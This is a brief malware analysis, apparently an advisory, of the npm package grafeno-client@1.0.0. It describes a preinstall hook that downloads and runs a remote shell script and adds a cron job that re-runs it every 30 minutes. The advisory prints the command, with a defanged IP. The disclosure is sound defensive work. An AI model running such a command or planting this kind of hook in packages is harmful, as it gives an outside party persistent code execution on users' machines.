grafeno-client@1.0.0

Analysis

The preinstall hook of grafeno-client@1.0.0 executes a remote script at install time and installs persistent re-execution. On install it runs `curl -s 216[.]126[.]236[.]46/x.sh|sh` via /bin/bash, downloading and executing a shell script from the IP 216[.]126[.]236[.]46. It then appends a crontab entry `*/30 * * * * curl -s 216[.]126[.]236[.]46/x.sh|sh` (removing any prior entry referencing that IP first) so the remote script is re-fetched and re-executed every 30 minutes. The package ships no legitimate HTTP-client code; its entire behaviour is the remote downloader and persistence implant.